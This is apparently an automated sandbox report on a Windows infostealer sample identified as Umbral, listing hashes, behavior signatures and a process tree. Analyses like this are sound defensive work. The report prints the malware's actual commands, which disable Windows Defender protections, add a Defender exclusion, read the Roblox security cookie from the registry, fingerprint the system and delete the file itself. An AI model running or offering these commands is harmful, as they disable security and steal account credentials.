Analysis
-
max time kernel
119s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
09-07-2024 19:59
Behavioral task
behavioral1
Sample
OptimizedBox-DataSwap2.0.exe
Resource
win7-20240708-en
General
-
Target
OptimizedBox-DataSwap2.0.exe
-
Size
231KB
-
MD5
cc77383b81a5c1c3e55234691e3dc519
-
SHA1
2e4af74a0880635706feefde2d6a90a5d77c277c
-
SHA256
7d620b8c48e10d1d76c421950d2110b7e45972a0037d81168a90658b31e4cf2d
-
SHA512
573e84b86903e6465f9199c485efa7dcaa04759f0afbfa9f5737ec64123a6ebf2b109a7fa67f1ae63c05fa88cda444f96a11d9dd8e1e5da08b1aa75e056afdd2
-
SSDEEP
6144:jloZM+rIkd8g+EtXHkv/iD4aphB3tW+xSkt/qqf7mkb8e1mGtAi:BoZtL+EP8aphB3tW+xSkt/qqf3ltZ
Malware Config
Signatures
-
Detect Umbral payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/3044-1-0x0000000001180000-0x00000000011C0000-memory.dmp family_umbral -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
-
Drops file in Drivers directory 1 IoCs
Processes:
OptimizedBox-DataSwap2.0.exedescription ioc process File opened for modification C:\Windows\System32\drivers\etc\hosts OptimizedBox-DataSwap2.0.exe -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 3016 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 4 ip-api.com -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
OptimizedBox-DataSwap2.0.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 3044 OptimizedBox-DataSwap2.0.exe 2720 powershell.exe 2676 powershell.exe 1780 powershell.exe 2092 powershell.exe 968 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
OptimizedBox-DataSwap2.0.exewmic.exepowershell.exepowershell.exepowershell.exepowershell.exewmic.exedescription pid process Token: SeDebugPrivilege 3044 OptimizedBox-DataSwap2.0.exe Token: SeIncreaseQuotaPrivilege 2888 wmic.exe Token: SeSecurityPrivilege 2888 wmic.exe Token: SeTakeOwnershipPrivilege 2888 wmic.exe Token: SeLoadDriverPrivilege 2888 wmic.exe Token: SeSystemProfilePrivilege 2888 wmic.exe Token: SeSystemtimePrivilege 2888 wmic.exe Token: SeProfSingleProcessPrivilege 2888 wmic.exe Token: SeIncBasePriorityPrivilege 2888 wmic.exe Token: SeCreatePagefilePrivilege 2888 wmic.exe Token: SeBackupPrivilege 2888 wmic.exe Token: SeRestorePrivilege 2888 wmic.exe Token: SeShutdownPrivilege 2888 wmic.exe Token: SeDebugPrivilege 2888 wmic.exe Token: SeSystemEnvironmentPrivilege 2888 wmic.exe Token: SeRemoteShutdownPrivilege 2888 wmic.exe Token: SeUndockPrivilege 2888 wmic.exe Token: SeManageVolumePrivilege 2888 wmic.exe Token: 33 2888 wmic.exe Token: 34 2888 wmic.exe Token: 35 2888 wmic.exe Token: SeIncreaseQuotaPrivilege 2888 wmic.exe Token: SeSecurityPrivilege 2888 wmic.exe Token: SeTakeOwnershipPrivilege 2888 wmic.exe Token: SeLoadDriverPrivilege 2888 wmic.exe Token: SeSystemProfilePrivilege 2888 wmic.exe Token: SeSystemtimePrivilege 2888 wmic.exe Token: SeProfSingleProcessPrivilege 2888 wmic.exe Token: SeIncBasePriorityPrivilege 2888 wmic.exe Token: SeCreatePagefilePrivilege 2888 wmic.exe Token: SeBackupPrivilege 2888 wmic.exe Token: SeRestorePrivilege 2888 wmic.exe Token: SeShutdownPrivilege 2888 wmic.exe Token: SeDebugPrivilege 2888 wmic.exe Token: SeSystemEnvironmentPrivilege 2888 wmic.exe Token: SeRemoteShutdownPrivilege 2888 wmic.exe Token: SeUndockPrivilege 2888 wmic.exe Token: SeManageVolumePrivilege 2888 wmic.exe Token: 33 2888 wmic.exe Token: 34 2888 wmic.exe Token: 35 2888 wmic.exe Token: SeDebugPrivilege 2720 powershell.exe Token: SeDebugPrivilege 2676 powershell.exe Token: SeDebugPrivilege 1780 powershell.exe Token: SeDebugPrivilege 2092 powershell.exe Token: SeIncreaseQuotaPrivilege 2828 wmic.exe Token: SeSecurityPrivilege 2828 wmic.exe Token: SeTakeOwnershipPrivilege 2828 wmic.exe Token: SeLoadDriverPrivilege 2828 wmic.exe Token: SeSystemProfilePrivilege 2828 wmic.exe Token: SeSystemtimePrivilege 2828 wmic.exe Token: SeProfSingleProcessPrivilege 2828 wmic.exe Token: SeIncBasePriorityPrivilege 2828 wmic.exe Token: SeCreatePagefilePrivilege 2828 wmic.exe Token: SeBackupPrivilege 2828 wmic.exe Token: SeRestorePrivilege 2828 wmic.exe Token: SeShutdownPrivilege 2828 wmic.exe Token: SeDebugPrivilege 2828 wmic.exe Token: SeSystemEnvironmentPrivilege 2828 wmic.exe Token: SeRemoteShutdownPrivilege 2828 wmic.exe Token: SeUndockPrivilege 2828 wmic.exe Token: SeManageVolumePrivilege 2828 wmic.exe Token: 33 2828 wmic.exe Token: 34 2828 wmic.exe -
Suspicious use of WriteProcessMemory 39 IoCs
Processes:
OptimizedBox-DataSwap2.0.execmd.exedescription pid process target process PID 3044 wrote to memory of 2888 3044 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3044 wrote to memory of 2888 3044 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3044 wrote to memory of 2888 3044 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3044 wrote to memory of 2768 3044 OptimizedBox-DataSwap2.0.exe attrib.exe PID 3044 wrote to memory of 2768 3044 OptimizedBox-DataSwap2.0.exe attrib.exe PID 3044 wrote to memory of 2768 3044 OptimizedBox-DataSwap2.0.exe attrib.exe PID 3044 wrote to memory of 2720 3044 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3044 wrote to memory of 2720 3044 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3044 wrote to memory of 2720 3044 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3044 wrote to memory of 2676 3044 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3044 wrote to memory of 2676 3044 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3044 wrote to memory of 2676 3044 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3044 wrote to memory of 1780 3044 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3044 wrote to memory of 1780 3044 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3044 wrote to memory of 1780 3044 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3044 wrote to memory of 2092 3044 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3044 wrote to memory of 2092 3044 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3044 wrote to memory of 2092 3044 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3044 wrote to memory of 2828 3044 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3044 wrote to memory of 2828 3044 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3044 wrote to memory of 2828 3044 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3044 wrote to memory of 1644 3044 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3044 wrote to memory of 1644 3044 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3044 wrote to memory of 1644 3044 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3044 wrote to memory of 2348 3044 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3044 wrote to memory of 2348 3044 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3044 wrote to memory of 2348 3044 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3044 wrote to memory of 968 3044 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3044 wrote to memory of 968 3044 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3044 wrote to memory of 968 3044 OptimizedBox-DataSwap2.0.exe powershell.exe PID 3044 wrote to memory of 2340 3044 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3044 wrote to memory of 2340 3044 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3044 wrote to memory of 2340 3044 OptimizedBox-DataSwap2.0.exe wmic.exe PID 3044 wrote to memory of 3016 3044 OptimizedBox-DataSwap2.0.exe cmd.exe PID 3044 wrote to memory of 3016 3044 OptimizedBox-DataSwap2.0.exe cmd.exe PID 3044 wrote to memory of 3016 3044 OptimizedBox-DataSwap2.0.exe cmd.exe PID 3016 wrote to memory of 2432 3016 cmd.exe PING.EXE PID 3016 wrote to memory of 2432 3016 cmd.exe PING.EXE PID 3016 wrote to memory of 2432 3016 cmd.exe PING.EXE -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\OptimizedBox-DataSwap2.0.exe"C:\Users\Admin\AppData\Local\Temp\OptimizedBox-DataSwap2.0.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3044 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2888 -
C:\Windows\system32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\OptimizedBox-DataSwap2.0.exe"2⤵
- Views/modifies file attributes
PID:2768 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\OptimizedBox-DataSwap2.0.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2720 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2676 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1780 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2092 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2828 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵PID:1644
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:2348
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Suspicious behavior: EnumeratesProcesses
PID:968 -
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:2340 -
C:\Windows\system32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\OptimizedBox-DataSwap2.0.exe" && pause2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:3016 -
C:\Windows\system32\PING.EXEping localhost3⤵
- Runs ping.exe
PID:2432
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"1⤵PID:2356
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5d817913d671678957b0b9d16c2751fdb
SHA108812bb13a3531c193d3322f67d20861eaedafb8
SHA256ee53db412948c98c630409c3fb2e8274831c3fa239e61340326ecc7379e7ae4a
SHA512fcb5a5d3dcfca31584540a3c1af12579ea003e9751a450ea5fc30ae205a935e4fd79915d8546e150626d2b5eabcdaa464259daa156de8473b1723643e46cab43
-
\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
memory/968-44-0x0000000001F40000-0x0000000001F48000-memory.dmpFilesize
32KB
-
memory/2676-14-0x000000001B620000-0x000000001B902000-memory.dmpFilesize
2.9MB
-
memory/2676-15-0x0000000002790000-0x0000000002798000-memory.dmpFilesize
32KB
-
memory/2720-7-0x000000001B5B0000-0x000000001B892000-memory.dmpFilesize
2.9MB
-
memory/2720-8-0x0000000001F70000-0x0000000001F78000-memory.dmpFilesize
32KB
-
memory/3044-0-0x000007FEF4E83000-0x000007FEF4E84000-memory.dmpFilesize
4KB
-
memory/3044-1-0x0000000001180000-0x00000000011C0000-memory.dmpFilesize
256KB
-
memory/3044-2-0x000007FEF4E80000-0x000007FEF586C000-memory.dmpFilesize
9.9MB
-
memory/3044-48-0x000007FEF4E80000-0x000007FEF586C000-memory.dmpFilesize
9.9MB